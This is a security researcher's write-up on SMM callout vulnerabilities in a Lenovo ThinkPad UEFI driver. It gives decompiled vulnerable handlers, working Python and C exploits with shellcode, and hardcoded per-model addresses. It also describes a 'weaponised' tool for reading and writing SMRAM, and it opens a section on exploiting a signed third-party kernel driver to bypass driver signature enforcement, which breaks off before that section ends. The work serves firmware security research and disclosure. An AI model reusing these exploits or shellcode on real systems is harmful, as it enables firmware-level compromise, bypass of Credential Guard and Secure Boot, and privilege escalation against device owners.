SMM vulnerabilities that I will talk about in this article aren’t new. Around one year ago LegbaCore and Intel Security published two works: "How Many Million BIOSes Would you Like to Infect?” and "A New Class of Vulnerabilities in SMI Handlers” correspondingly, they rediscovered some security issues in SMI handlers code that was actually a known problem among PC firmware developers (for example, same attacks was described in Loïc Duflot work "System Management Mode Design and Security Issues" presented six years ago). Nevertheless, researchers were able to find and report a lot of firmware vulnerabilities of this class in products like Lenovo, Dell, HP laptops and many others (CERT VU#631788). To play with these vulnerabilities I got ThinkPad T450s laptop. According to original security advisory by Lenovo (apparently, it has a lack of technical details) — some unspecified SMM callout vulnerabilities were patched in the latest version of it’s firmware and everything that we need to do is just find out and exploit one of these vulns.
SMI handlers reverse engineering
Attack model for this vulnerability class is fairly simple: System Management Interrupt (SW SMI) handlers code is part of platform firmware that runs in System Management Mode RAM (SMRAM) — isolated area of physical memory that not accessible from any operating system code. Firmware can register several SW SMI handlers (usually, up to several dozens on real machines) with logical numbers from 0 to 255. Operating system can trigger SW SMI with writing handler number to APMC I/O port B2h, if handler code will try access or execute any non-SMRAM memory that might be modified by attacker — this issue probably may lead to arbitrary SMM code execution (ring0 to SMM privileges escalation).
There was only one good thing about T450s — it definitely has vulnerability that we looking for, but everything other was not so bright:
- It's a relatively new ThinkPad model: no lame or well known BIOS vulnerabilities like not locked BIOS_CNTL, SMRAM cache poisoning, etc. Also, Lenovo is definitely not the most lame platform security vendor (actually, it’s firmware is a waaay better than, for example, firmware from Apple).
- T450s is also not vulnerable to UEFI boot script table vulnerability — it’s firmware uses SMM lockbox to protect boot script table contents from unauthorized modifications by operating system, it means that we can’t use my exploit in combination with DMA attack to obtain SMRAM dump.
- This model is also uses Intel BootGuard technology to protect firmware image from unauthorized modifications. Even if attacker with physical access and hardware programmer writes infected firmware directly to SPI flash chip on the motherboard — this firmware will not be accepted by hardware because on BootGuard enabled platforms CPU verifies firmware digital signature at silicon (microcode?) level before executing the reset vector. It means that we can’t get access to SMM memory using my UEFI SMM backdoor — infected system simply will not be able to boot.
While using chipsec_util.py to dump the flash, I figured that among lots of other features it allows to generate SW SMI from command line, so, without having any high hopes I typed the following command that triggers all possible SW SMI handlers from 0 to 255:
# for i in {0..255}; do python chipsec_util.py smi 0 $i 0; done
It’s hard to describe my surprise, when test machine completely hanged shortly after the firing of SW SMI with number 3 — it was a good sign which means that Lenovo SMI handlers code quality is actually more poor than I expected. It’s obviously that it was never tested even with the simple and trivial SMI fuzzing, I guess there's only one reason why such stupid bug could appear in production code — SW SMI with number 3 had been registered by some legacy UEFI SMM driver and never used by any other components of platform firmware or operating system (well, at least during runtime phase).
ThinkPad T450s during SW SMI handlers "fuzzing". |
“System Management Mode Core Interface”, volume 4 of Platform Initialization Specification says that SMM drivers registers SW SMI handlers using Register() function of EFI_SMM_SW_DISPATCH_PROTOCOL, here’s the description of this protocol that was took from header files of open source EFI Development Kit:
// // Global ID for the SW SMI Protocol // #define EFI_SMM_SW_DISPATCH_PROTOCOL_GUID \ { \ 0xe541b773, 0xdd11, 0x420c, {0xb0, 0x26, 0xdf, 0x99, 0x36, 0x53, 0xf8, 0xbf } \ } // // Related Definitions // // A particular chipset may not support all possible software SMI input values. // For example, the ICH supports only values 00h to 0FFh. The parent only allows a single // child registration for each SwSmiInputValue. // typedef struct { UINTN SwSmiInputValue; } EFI_SMM_SW_DISPATCH_CONTEXT; // // Member functions // /* Dispatch function for a Software SMI handler. @param DispatchHandle The handle of this dispatch function. @param DispatchContext The pointer to the dispatch function's context. The SwSmiInputValue field is filled in by the software dispatch driver prior to invoking this dispatch function. The dispatch function will only be called for input values for which it is registered. @return None */ typedef VOID (EFIAPI *EFI_SMM_SW_DISPATCH)( IN EFI_HANDLE DispatchHandle, IN EFI_SMM_SW_DISPATCH_CONTEXT *DispatchContext ); /* Register a child SMI source dispatch function with a parent SMM driver. @param This The pointer to the EFI_SMM_SW_DISPATCH_PROTOCOL instance. @param DispatchFunction The function to install. @param DispatchContext The pointer to the dispatch function's context. Indicates to the register function the Software SMI input value for which to invoke the dispatch function. @param DispatchHandle The handle generated by the dispatcher to track the function instance. @retval EFI_SUCCESS The dispatch function has been successfully registered and the SMI source has been enabled. @retval EFI_DEVICE_ERROR The SW driver could not enable the SMI source. @retval EFI_OUT_OF_RESOURCES Not enough memory (system or SMM) to manage this child. @retval EFI_INVALID_PARAMETER DispatchContext is invalid. The SW SMI input value is not within valid range. */ typedef EFI_STATUS (EFIAPI *EFI_SMM_SW_REGISTER)( IN EFI_SMM_SW_DISPATCH_PROTOCOL *This, IN EFI_SMM_SW_DISPATCH DispatchFunction, IN EFI_SMM_SW_DISPATCH_CONTEXT *DispatchContext, OUT EFI_HANDLE *DispatchHandle ); // // Interface structure for the SMM Software SMI Dispatch Protocol // struct _EFI_SMM_SW_DISPATCH_PROTOCOL { // // Installs a child service to be dispatched by this protocol. // EFI_SMM_SW_REGISTER Register; // // Removes a child service dispatched by this protocol. // EFI_SMM_SW_UNREGISTER UnRegister; // // A read-only field that describes the maximum value that can be used // in the EFI_SMM_SW_DISPATCH_PROTOCOL.Register() service. // UINTN MaximumSwiValue; };
To find UEFI drivers which use or implement this protocol with the help of UEFITool by Nikolaj Schlej we can do the binary search by protocol GUID inside all of the FFS contents:
Search by protocol GUID in UEFITool. |
For T450s firmware occurrences of EFI_SMM_SW_DISPATCH_PROTOCOL GUID were found in almost 20 different UEFI drivers, in terms of resources necessary for analysis it’s not that lot — on my other test machines SMI handlers code was pretty minimalistic and reverse engineering friendly.
After several hours of work, after lots of funny and disgusting things that I've met in SMI handlers code, I finally found UEFI driver that was responsible for SW SMI handler 3 fault. FFS GUID of this driver is 124A2E7A-1949-483E-899F-6032904CA0A7, it’s image also has the name string: SystemSmmAhciAspiLegacyRt (yeah, “legacy” word used in module/function/whatever name usually means that something interesting might be found inside):
Vulnerable UEFI SMM driver that was developed by OEM (Lenovo). |
SystemSmmAhciAspiLegacyRt driver entry point obtains EFI_SMM_BASE_PROTOCOL, EFI_SMM_SW_DISPATCH_PROTOCOL, EFI_SMM_CPU_PROTOCOL and other necessary protocols of DXE and SMM phase. Then it calls Register() function of EFI_SMM_SW_DISPATCH_PROTOCOL to register sub_3DC() function as SW SMI handler. Register() call accepts v5 as argument, this variable points to the EFI_SMM_SW_DISPATCH_CONTEXT structure with -1 (0xffffffff) value of SwSmiInputValue field — according to UEFI SMM specification it means that during handler registration firmware must automatically select free handler number between 0 and 255 (usually the lowest possible) and return this number back to caller.
EFI_STATUS __stdcall EntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) { __int64 v2; // r9@0 int v3; // rax@2 __int64 v5; // [sp+20h] [bp-28h]@7 EFI_SMM_SW_DISPATCH_PROTOCOL *gEfiSmmSwDispatchProtocol; // [sp+28h] [bp-20h]@2 __int64 v7; // [sp+30h] [bp-18h]@7 BOOLEAN InSmm; // [sp+60h] [bp+18h]@1 int (__fastcall **v9)(_QWORD, _QWORD); // [sp+68h] [bp+20h]@3 // initialise global variables, locate protocols, etc. sub_9E0(ImageHandle, SystemTable, &InSmm, v2); if (!InSmm || (v3 = gBS->LocateProtocol( &gEfiSmmSwDispatchProtocolGuid, 0i64, &gEfiSmmSwDispatchProtocol), v3 >= 0) && gEfiSmmBaseProtocol->GetSmstLocation( gEfiSmmBaseProtocol, &gSmst), v3 = gBS->LocateProtocol( &gPhoenixEfiSmmSwSmiProtocolGuid, 0i64, &v9), v3 >= 0) && (v3 = sub_3A0(), v3 >= 0) && (v3 = gBS->LocateProtocol( &gEfiSmmCpuProtocolGuid, 0i64, &gEfiSmmCpuProtocol), v3 >= 0) && (qword_250 = 0xFFFFFFFFi64, v3 = (*v9)(&dword_240, &qword_250), v3 >= 0) && // // Register SMI handler, because SwSmiInputValue is -1 -- a unique // handler number will be assigned and returned by Register() function. // (v5 = 0xFFFFFFFFi64, v3 = gEfiSmmSwDispatchProtocol->Register( gEfiSmmSwDispatchProtocol, sub_3DC, &v5, &v7), v3 >= 0) { v3 = 0; } return v3; }
Ok, during static code analysis we can’t say what exactly SW SMI handler number will be assigned to sub_3DC() function. You probably will ask me, why I've decided that this driver is guilty in SW SMI handler 3 fault?
The answer is simple, just check the first function call inside our SMI handler code:
EFI_STATUS __fastcall sub_3DC(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4) { _QWORD *v4; // rbx@1 __int64 v5; // rax@1 unsigned __int16 v7; // [sp+30h] [bp-18h]@3 int v8; // [sp+60h] [bp+18h]@5 int v9; // [sp+68h] [bp+20h]@1 v9 = 0; v4 = a2; // // Vulnerability is here: // // SMI handler code calls LocateProtocol() function by address from // EFI_BOOT_SERVICES structure that accessible for operating // system during runtime phase. Attacker can overwrite LocateProtocol() // address with shellcode address and get SMM code execution. // v5 = gBS->LocateProtocol(&stru_270, 0i64, &qword_BC0); if (v5 >= 0) { gEfiSmmCpuProtocol->ReadSaveState( gEfiSmmCpuProtocol, 2u, EFI_SMM_SAVE_STATE_REGISTER_ES, 0, &v9 ); gEfiSmmCpuProtocol->ReadSaveState( gEfiSmmCpuProtocol, 4u, EFI_SMM_SAVE_STATE_REGISTER_RBX, 0, &v7 ); if (*v4 == 0xFFFFFFFFi64) { // // Another vulnerability is here: // // sub_93C() function accepts argument as a structure with attacker controllable // address which allows to overwrite arbitrary memory address within the SMRAM. // Check code of sub_93C() for more information. // sub_93C(v7); } } else { qword_BC0 = 0i64; } gEfiSmmCpuProtocol->ReadSaveState( gEfiSmmCpuProtocol, 4u, EFI_SMM_SAVE_STATE_REGISTER_RFLAGS, 0, &v8 ); v8 &= 0xFFFFFFFA; return gEfiSmmCpuProtocol->WriteSaveState( gEfiSmmCpuProtocol, 4u, EFI_SMM_SAVE_STATE_REGISTER_RFLAGS, 0, &v8 ); }
At this point I was surprised second time. Code that we are talking about calls LocateProtocol() function of EFI_BOOT_SERVICES to obtain a pointer to some unknown OEM specific UEFI DXE protocol with GUID 2837C020-83F6-11DF-8395-0800200C9A66. It might be normal (and quite typical) when you see such call in DXE phase code, but function sub_3DC() is actually run during SMI Management part of SMM phase — it means that normally (according to UEFI specification) sub_3DC() is allowed to use only EFI_SMM_SYSTEM_TABLE functions and SMM protocols, but not EFI_BOOT_SERVICES functions or DXE protocols like we see here.
No wonder that such code will fail on any SW SMI with proper number generated by operating system — EFI_BOOT_SERVICES structure and all of the DXE protocols are being freed when UEFI boot loader transfers the execution to operating system kernel with ExitBootServices() call. So, when the platform had switched from DXE phase to runtime phase — EFI_BOOT_SERVICES structure (which address was stored in gBS global variable of vulnerable SMM driver) might be overwritten by attacker to execute arbitrary SMM phase code instead of original LocateProtocol() call.
The sub_3DC() code is also doing another danger thing. As you might see, it uses ReadSavedState() function of EFI_SMM_CPU_PROTOCOL to read RBX value controlled by operating system and passes it as some structure pointer to another function, sub_93C():
int __fastcall sub_93C(void *a1) { // // This function is being called from SMI handler of SystemSmmAhciAspiLegacyRt // UEFI SMM driver. Function argument a1 is pointer to some structure, // this pointer is controllable by attacker because sub_3DC() reads it's // value from RBX register of operating system which state was saved during // SMI dispatch. // int result; // eax@1 __int64 v2; // rdx@1 // // Attacker can use this code to overwrite arbitary memory address within the // SMRAM that not accessible to operating system on properly configured platforms. // *((_BYTE *)a1 + 1) = 0; result = sub_5D8(); if (*(_BYTE *)(v2 + 2) >= 6u) { *(_BYTE *)(v2 + 1) = -127; return result; } if (*(_BYTE *)v2 >= 9u) { goto LABEL_4; } // // All functions that being called below also accept the same attacker // controllable pointer as first argument, their code also might be used to // overwrite arbitrary physical memory within the SMRAM. // if (*(_BYTE *)v2) { switch (*(_BYTE *)v2) { case 1: result = sub_674(v2); break; case 2: result = sub_778(v2); break; case 4: result = sub_818(v2); break; case 6: result = sub_874(v2); break; case 7: result = sub_6D8(v2); break; default: if (*(_BYTE *)v2 != 8) { LABEL_4: *(_BYTE *)(v2 + 1) = -128; return result; } result = sub_8D8(v2); break; } } else { result = sub_614(v2); } return result; }
This issue also can be exploited to execute arbitrary code within SMM.
Vulnerable SystemSmmAhciAspiLegacyRt UEFI SMM driver is present in all of the ThinkPad models that I had checked (X220, X230 and some others), I guess this problem might be relevant even for wider range of different model lines manufactured by Lenovo. For my T450s two vulnerabilities in this driver were fixed in the latest firmware of version 1.20 (JBET55WW), but even new version of this driver still deserves some attention, because sub_93C() that we talked about de-facto implements some interesting communication channel between SMM and operating system.
On ThinkPad laptops these vulnerabilities do not allow attacker to infect platform firmware stored in SPI flash:
- Certain regions of SPI flash are protected by SPI Protected Ranges (PRx) mechanism.
- As it was said above, new ThinkPad models use Intel BootGuard. Even if attacker will able to bypass PRx and infect firmware image stored there — CPU will reject to execute it's reset vector because of broken digital signature.
What lesson can be learned by developers from this case? Apparently, the bug is so horrible so I don’t even have any specific technical advises to say, just read the fucking manuals and use proper design patterns for proper execution environments.
SystemSmmAhciAspiLegacyRt SMI handler vulnerability exploitation
To exploit discovered vulnerabilities I decided to use insecure LocateProtocol() call inside sub_3DC().
Starting from Haswell microarchitecture Intel CPU provides SMM_Code_Chk_En control bit of MSR_SMM_FEATURE_CONTROL model-specific register. It's description from "Volume 3C:System Programming Guide, Part 3" of Intel documentation says:
This control bit is available only if MSR_SMM_MCA_CAP[58] == 1. When set to ‘0’ (default) none of the logical processors are prevented from executing SMM code outside the ranges defined by the SMRR. When set to ‘1’ any logical processor in the package that attempts to execute SMM code not within the ranges defined by the SMRR will assert an unrecoverable MCE.
Firmware of T450s is not using this feature and it's actually very good for exploitation: no need to bother about shellcode location, any physical memory page outside of SMRAM is executable. Exploitation step by step:
- Determine EFI_BOOT_SERVICES structure address that was used by firmware code during DXE phase. Usually, this address remains constant across platform reboots for specific version of firmware that runs on specific computer model.
- Allocate contiguous chunk of physical memory and copy SMM shellcode there.
- Store 8 bytes of shellcode physical address at EFI_BOOT_SERVICES + 0x140, where 0x140 is LocateProtocol field offset. Shellcode must return -1 (0xffffffffffffffff) in RAX register to bypass certain function calls in sub_3DC() that may crash the platform.
- Fire necessary SW SMI with writing 3 to APMC I/O port B2h, shellcode will be executed by sub_3DC() immediately after that.
- Perform cleanup: restore original memory contents at EFI_BOOT_SERVICES + 0x140, etc.
Memory Address 00000000AB580F18 200 Bytes
AB580F18: 49 42 49 20 53 59 53 54-1F 00 02 00 78 00 00 00 *IBI SYST....x...*
AB580F28: 19 EA 64 44 00 00 00 00-18 30 B6 AA 00 00 00 00 *..dD.....0......*
AB580F38: 10 11 00 00 00 00 00 00-98 8A A3 A4 00 00 00 00 *................*
AB580F48: 70 22 32 AA 00 00 00 00-18 37 82 A3 00 00 00 00 *p"2......7......*
...
Valid EFI Header at Address 00000000AB580F18
---------------------------------------------
System: Table Structure size 00000078 revision 0002001F
ConIn (00000000AA322270) ConOut (00000000A5155618) StdErr (00000000AA322670)
Runtime Services 00000000AB580E18
Boot Services 00000000A11A6610
SAL System Table 0000000000000000
ACPI Table 00000000ACDFE000
ACPI 2.0 Table 00000000ACDFE014
MPS Table 0000000000000000
SMBIOS Table 00000000ACBFE000
Now we have all of the necessary information to write a simplest PoC for this vulnerability. As usual, I will use Python with CHIPSEC library as hardware abstraction API, this exploit can be used on both of Windows and Linux:
import sys, os, struct from hexdump import hexdump # shellcode call counter address CNT_ADDR = 0x00001010 # SMM shellcode SC = ''.join([ '\x48\xC7\xC0\x10\x10\x00\x00', # mov rax, CNT_ADDR '\xFE\x00', # inc byte ptr [rax] '\x48\x31\xC0', # xor rax, rax '\x48\xFF\xC8', # dec rax '\xC3', # ret '\x00' # db 0 ; call counter value ]) # shellcode address and size SC_ADDR = 0x00001000 SC_SIZE = 0x10 assert len(SC) == SC_SIZE + 1 # Function address to overwrite: # EFI_BOOT_SERVICES addr + LocateProtocol offset FN_ADDR = 0xA11A6610 + 0x140 # SMI handler number SMI_NUM = 3 class Chipsec(object): def __init__(self): import chipsec.chipset import chipsec.hal.physmem import chipsec.hal.interrupts # initialize CHIPSEC self.cs = chipsec.chipset.cs() self.cs.init(None, True) # get instances of required classes self.mem = chipsec.hal.physmem.Memory(self.cs) self.ints = chipsec.hal.interrupts.Interrupts(self.cs) # CHIPSEC has no physical memory read/write methods for quad words def read_physical_mem_qword(self, addr): return struct.unpack('Q', self.mem.read_physical_mem(addr, 8))[0] def write_physical_mem_qword(self, addr, val): self.mem.write_physical_mem(addr, 8, struct.pack('Q', val)) def main(): cnt = 0 #initialize chipsec stuff cs = Chipsec() print 'Shellcode address is 0x%x, %d bytes length:' % (SC_ADDR, SC_SIZE) hexdump(SC) print # backup shellcode memory contents old_data = cs.mem.read_physical_mem(SC_ADDR, 0x1000) # write shellcode cs.mem.write_physical_mem(SC_ADDR, SC_SIZE, SC) cs.mem.write_physical_mem_byte(CNT_ADDR, 0) # read pointer value old_val = cs.read_physical_mem_qword(FN_ADDR) print 'Old value at 0x%x is 0x%x, overwriting with 0x%x' % \ (FN_ADDR, old_val, SC_ADDR) # write pointer value cs.write_physical_mem_qword(FN_ADDR, SC_ADDR) # fire SMI cs.ints.send_SW_SMI(0, SMI_NUM, 0, 0, 0, 0, 0, 0, 0) # read shellcode call counter cnt = cs.mem.read_physical_mem_byte(CNT_ADDR) # check for successful exploitation print 'SUCCESS: SMM shellcode was executed' if cnt > 0 else \ 'FAILS: Unable to execute SMM shellcode' print 'Performing memory cleanup...' # restore overwritten memory cs.mem.write_physical_mem(SC_ADDR, len(old_data), old_data) cs.write_physical_mem_qword(FN_ADDR, old_val) return 0 if cnt > 0 else -1 if __name__ == '__main__': exit(main())
Now let's test the code:
# python lenovo_SystemSmmAhciAspiLegacyRt_expl.py
****** Chipsec Linux Kernel module is licensed under GPL 2.0
Shellcode address is 0x1000, 16 bytes length:
00000000: 48 C7 C0 10 10 00 00 FE 00 48 31 C0 48 FF C8 C3 H........H1.H...
Old value at 0xa11a6750 is 0x1000, overwriting with 0x1000
SUCCESS: SMM shellcode was executed
Performing memory cleanup...
At this point I heaved a sigh of relief, now it's finally clear that proper vulnerable driver for SW SMI handler 3 fault was found.
This time I also decided to write more weaponised exploit for UEFI vulnerability, there are several good reasons to do it for Windows platform as native application/driver without any heavyweight 3-rd party dependencies (like CHIPSEC).
Firmware vulnerabilities exploitation in Windows environment
In my previous articles I used Python and CHIPSEC to develop UEFI exploits, it's quite friendly for prototyping/PoC purposes but not very convenient for real life security tools. Also, after I spent quite a lot of time using CHIPSEC in my programs I decided to develop my own cross-platform hardware abstraction library as more convenient and tiny replacement of CHIPSEC for programs written in C.
Also, this time I decided to choose Windows as native target for SMM driver vulnerability exploit, there are several reasons for that:
- New computers which come with pre-installed Windows may have enabled Secure Boot. Vulnerability that leads to arbitrary SMM code execution also allows to get unrestricted r/w access to NVRAM region (usually it shares the same SPI flash chip on the motherboard with firmware code) where Secure Boot configuration is stored.
- With Windows 10 Enterprise Microsoft released new security feature (disabled by default) called Credential Guard — it protects domain credentials stored in memory even if attacker was able to get full privileges (ring3 + ring0 code execution) on target operating system.
VSM is a protected virtual machine (aka secure world) that runs on Hyper-V hypervisor separately from host Windows 10 system and its kernel (aka normal world). VSM has it's own isolated kernel mode and user mode, on Credential Guard enabled systems part of Local Security Subsystem Service (LSASS) that is responsible for keeping credentials in memory is running as isolated user mode process inside VSM:
Virtual Secure Mode in Windows 10 Enterprise. |
As you can see, Credential Guard allows effectively mitigate mimikatz and similar tools that dump user credentials, but all these things remain really safe only on platforms with ideal firmware that has no security issues like vulnerabilities in System Management Mode. As it was shown by researchers from Intel in their work called "Attacking Hypervisors via Firmware and Hardware" — attacker that runs arbitrary code in root partition (e.g. host) of Hyper-V can use APMC I/O port B2h to trigger SMI handler vulnerability which allows to bypass hypervisor powered VSM isolation (de-facto SMM is the most powerful execution mode of IA-32, as well as the hypervisor it also has full physical memory space access).
Unlike Linux, on Windows operating system there aren't any usable mechanisms which allow physical memory or I/O ports access from user mode applications, for low level hardware access you have to load a kernel driver. In addition, 64-bit Windows kernel use security feature called Digital Signature Enforcement (DSE), it requires that all driver code must have a digital signature.
I named my hardware access runtime project "fwexpl". It consists of Windows kernel driver and user-mode library that communicates with driver using DeviceIoControl() Win32 function. Top level API of libfwexpl is OS agnostic, in nearby future I'm planning to port this library to Linux and OS X as well. Here's the C header file with available functions, they provides access to physical memory, I/O ports, PCI config space, also there are several functions for memory management and SW SMI:
// data width for uefi_expl_port_read/write and uefi_expl_pci_read/write typedef enum _data_width { U8, U16, U32, U64 } data_width; // PCI address from bus, device, function and offset for uefi_expl_pci_read/write #define PCI_ADDR(_bus_, _dev_, _func_, _addr_) \ \ (unsigned int)(((_bus_) << 16) | ((_dev_) << 11) | ((_func_) << 8) | \ ((_addr_) & 0xfc) | ((unsigned int)0x80000000)) // initialize kernel driver bool uefi_expl_init(char *driver_path); // unload kernel driver void uefi_expl_uninit(void); // check if kernel driver is initialized bool uefi_expl_is_initialized(void); // read physical memory at given address bool uefi_expl_phys_mem_read(unsigned long long address, int size, unsigned char *buff); // write physical memory at given address bool uefi_expl_phys_mem_write(unsigned long long address, int size, unsigned char *buff); // read value from I/O port bool uefi_expl_port_read(unsigned short port, data_width size, unsigned long long *val); // write value to I/O port bool uefi_expl_port_write(unsigned short port, data_width size, unsigned long long val); // read value from PCI config space of specified device bool uefi_expl_pci_read(unsigned int address, data_width size, unsigned long long *val); // write value to PCI config space of specified device bool uefi_expl_pci_write(unsigned int address, data_width size, unsigned long long val); // generate software SMI using APMC I/O port 0xB2 bool uefi_expl_smi_invoke(unsigned char code); // allocate contiguous physical memory bool uefi_expl_mem_alloc(int size, unsigned long long *addr, unsigned long long *phys_addr); // free memory that was allocated with uefi_expl_mem_alloc() bool uefi_expl_mem_free(unsigned long long addr); // convert virtual address to physical memory address bool uefi_expl_phys_addr(unsigned long long addr, unsigned long long *phys_addr); // get model specific register value bool uefi_expl_msr_get(unsigned int reg, unsigned long long *val); // set model specific register value bool uefi_expl_msr_set(unsigned int reg, unsigned long long val);
Code in C and libfwexpl that exploits the same SMM callout vulnerability in SystemSmmAhciAspiLegacyRt UEFI driver (I must admit, it's not much complicated in comparison with Python version that was shown above):
typedef struct _UEFI_EXPL_TARGET { // Target address to overwrite (EFI_BOOT_SERVICES->LocateService field value) // with shellcode address. unsigned long long addr; // Number of vulnerable SMI handler. unsigned char smi_num; // Target name and description. const char *name; } UEFI_EXPL_TARGET, *PUEFI_EXPL_TARGET; // list of model and firmware version specific constants for different targets static UEFI_EXPL_TARGET g_targets[] = { { 0xd12493b0, 0x01, "Lenovo ThinkPad X230 firmware 2.61" }, { 0xa11a6750, 0x03, "Lenovo ThinkPad T450s firmware 1.11" } }; // offsets of handler and context values in g_shellcode #define SHELLCODE_OFFS_HANDLER 33 #define SHELLCODE_OFFS_CONTEXT 23 // shellcode entry that executes smm_handler() static unsigned char g_shellcode[] = { /* Save registers */ 0x53 /* push rbx */, 0x51 /* push rcx */, 0x52 /* push rdx */, 0x56 /* push rsi */, 0x57 /* push rdi */, 0x41, 0x50 /* push r8 */, 0x41, 0x51 /* push r9 */, 0x41, 0x52 /* push r10 */, 0x41, 0x53 /* push r11 */, 0x41, 0x54 /* push r12 */, 0x41, 0x55 /* push r13 */, 0x41, 0x56 /* push r14 */, 0x41, 0x57 /* push r15 */, /* Call smm_handler() function. */ 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, context 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, handler 0x48, 0x83, 0xec, 0x20, // sub rsp, 0x20 0xff, 0xd0, // call rax 0x48, 0x83, 0xc4, 0x20, // add rsp, 0x20 /* Restore registers. */ 0x41, 0x5f /* pop r15 */, 0x41, 0x5e /* pop r14 */, 0x41, 0x5d /* pop r13 */, 0x41, 0x5c /* pop r12 */, 0x41, 0x5b /* pop r11 */, 0x41, 0x5a /* pop r10 */, 0x41, 0x59 /* pop r9 */, 0x41, 0x58 /* pop r8 */, 0x5f /* pop rdi */, 0x5e /* pop rsi */, 0x5a /* pop rdx */, 0x59 /* pop rcx */, 0x5b /* pop rbx */, /* Shellcode must return -1 to bypass other function calls inside sub_3DC() SMI handler to prevent fault inside SMM. */ 0x48, 0x31, 0xc0, // xor rax, rax 0x48, 0xff, 0xc8, // dec rax 0xc3 // ret }; //-------------------------------------------------------------------------------------- static void smm_handler(PUEFI_EXPL_SMM_SHELLCODE_CONTEXT context) { // tell to the caller that smm_handler() was executed context->smi_count += 1; if (context->user_handler) { UEFI_EXPL_SMM_HANDLER user_handler = (UEFI_EXPL_SMM_HANDLER)context->user_handler; // call external handler user_handler((void *)context->user_context); } } //-------------------------------------------------------------------------------------- bool expl_lenovo_SystemSmmAhciAspiLegacyRt( int target, UEFI_EXPL_SMM_HANDLER handler, void *context) { bool ret = false; UEFI_EXPL_TARGET *expl_target = NULL; UEFI_EXPL_SMM_SHELLCODE_CONTEXT smm_context; smm_context.smi_count = 0; smm_context.user_handler = smm_context.user_context = 0; if (target < 0 || target >= sizeof(g_targets) / sizeof(UEFI_EXPL_TARGET)) { return false; } // get target model information expl_target = &g_targets[target]; printf(__FUNCTION__"(): Using target \"%s\"\n", expl_target->name); if (handler) { unsigned long long addr = (unsigned long long)handler; // call caller specified handler from SMM if (!uefi_expl_phys_addr(addr, &smm_context.user_handler)) { return false; } smm_context.user_context = (unsigned long long)context; } unsigned long long handler_addr = (unsigned long long)&smm_handler, handler_phys_addr = 0; unsigned long long context_addr = (unsigned long long)&smm_context, context_phys_addr = 0; // get physical address of smm_handler() if (!uefi_expl_phys_addr(handler_addr, &handler_phys_addr)) { return false; } // get physical address of smm_context if (!uefi_expl_phys_addr(context_addr, &context_phys_addr)) { return false; } printf(__FUNCTION__"(): SMM payload handler address is 0x%llx with context at 0x%llx\n", handler_phys_addr, context_phys_addr); unsigned long long sc_addr = 0, sc_phys_addr = 0; // allocate memory for shellcode if (!uefi_expl_mem_alloc(PAGE_SIZE, &sc_addr, &sc_phys_addr)) { return false; } unsigned char shellcode[sizeof(g_shellcode)]; memcpy(shellcode, g_shellcode, sizeof(g_shellcode)); *(unsigned long long *)&shellcode[SHELLCODE_OFFS_HANDLER] = handler_phys_addr; *(unsigned long long *)&shellcode[SHELLCODE_OFFS_CONTEXT] = context_phys_addr; printf(__FUNCTION__"(): Physical memory for shellcode allocated at 0x%llx\n", sc_phys_addr); if (uefi_expl_phys_mem_write(sc_phys_addr, sizeof(shellcode), shellcode)) { unsigned long long ptr_val = 0; // read original pointer value if (uefi_expl_phys_mem_read( expl_target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val)) { printf(__FUNCTION__"(): Old pointer 0x%llx value is 0x%llx\n", expl_target->addr, ptr_val); // overwrite pointer value if (uefi_expl_phys_mem_write( expl_target->addr, sizeof(sc_phys_addr), (unsigned char *)&sc_phys_addr)) { printf(__FUNCTION__"(): Generating SMI %d...\n", expl_target->smi_num); uefi_expl_smi_invoke(expl_target->smi_num); if (smm_context.smi_count > 0) { ret = true; } printf(__FUNCTION__"(): %s\n", ret ? "SUCCESS" : "FAILS"); // restore overwritten value uefi_expl_phys_mem_write( expl_target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val); } } } // free memory uefi_expl_mem_free(sc_addr); return ret; }
This exploit allows to select a specific target (combination of laptop model and firmware version) for exploitation. As it was shown above, you easily can find a proper EFI_BOOT_SERVICES address for your target and add a new entry to g_targets[] list.
To run exploit from command line I wrote a simple program fwexpl_app that additionally allows to execute some basic System Management Mode payloads like physical memory reading and writing. Here's the list of available command line options:
- --target <N> — Select specific target where <N> is index of g_targets[] list entry.
- --target-list — Print available targets information.
- --phys-mem-read <addr> — Read physical memory starting from specified address.
- --whys-mem-write <addr> — Write physical memory starting from specified address.
- --length <bytes> — Number of bytes to read or write for --phys-mem-read and --whys-mem-write correspondingly.
- --file <path> — Memory dump path to read or write, in case of --whys-mem-read this parameter is optional and when it's not specified — application will print a hex dump of physical memory to stdout.
- --exec <addr> — Execute SMM code at specified physical memory address.
Obtaining SMRAM dump with SW SMI handler 3 exploit. |
This application needs to load it's own unsigned kernel driver that is located at the same directory as executable. To make it possible you have to reboot your test Windows machine with disabled DSE (use F8 key during early boot to access boot options menu).
DSE bypass and privileges escalation: bonus 0day
In real life security tool for Windows platform it's also will be nice to have some technique to bypass DSE and load unsigned kernel drivers. The best way to do it without burning expensive 0days in operating system itself — install any vulnerable kernel driver from any 3-rd party product that has valid digital signature and exploit it's vulnerability to run your own ring0 code. Over the internets there are several tools which use this approach to bypass DSE, for example — DSEFix by EP_X0FF, it installs and exploits vulnerable kernel driver from VirtualBox.
To have a good time I decided to find my own 0day vulnerability in some kernel driver and use it to implement DSE bypass support for libfwexpl. As my target I picked up so-called endpoint security products Secret Net 7 and Secret Net Studio 8 (still in beta) from Russian company Код Безопасности (Security Code). It doesn't seem that these products are actually good at security, but I found them very useful for local privileges escalation and DSE bypass.
I started from Secret Net 7.4.577.0 from Security Code:
Secret Net 7.4 "About system" window. |
This product installs a really impressive amount of different kernel drivers with interesting names: Sn5CrPack.sys, SnFDC.sys, Sn5Crypto.sys, SnNetFlt.sys, SnCDFilter.sys, SnTmCardDrv.sys, SnDDD.sys, snCloneVault.sys, SnDeviceFilter.sys, sncc0.sys, SnDiskFilter.sys, sndacs.sys, SnEraser.sys, snmc5xx.sys, SnExeQuota.sys, snsdp.sys.
After the spending some time with monitoring of IOCTL requests to these drivers in kernel debugger I decided to check IRP handlers code of sncc0.sys that loaded as \Driver\sncc0 and uses device object \Device\SNC0_Sys to communicate with user mode. Let's determinate IRP_MJ_DEVICE_CONTROL handler address for this driver with the help of the WinDbg:
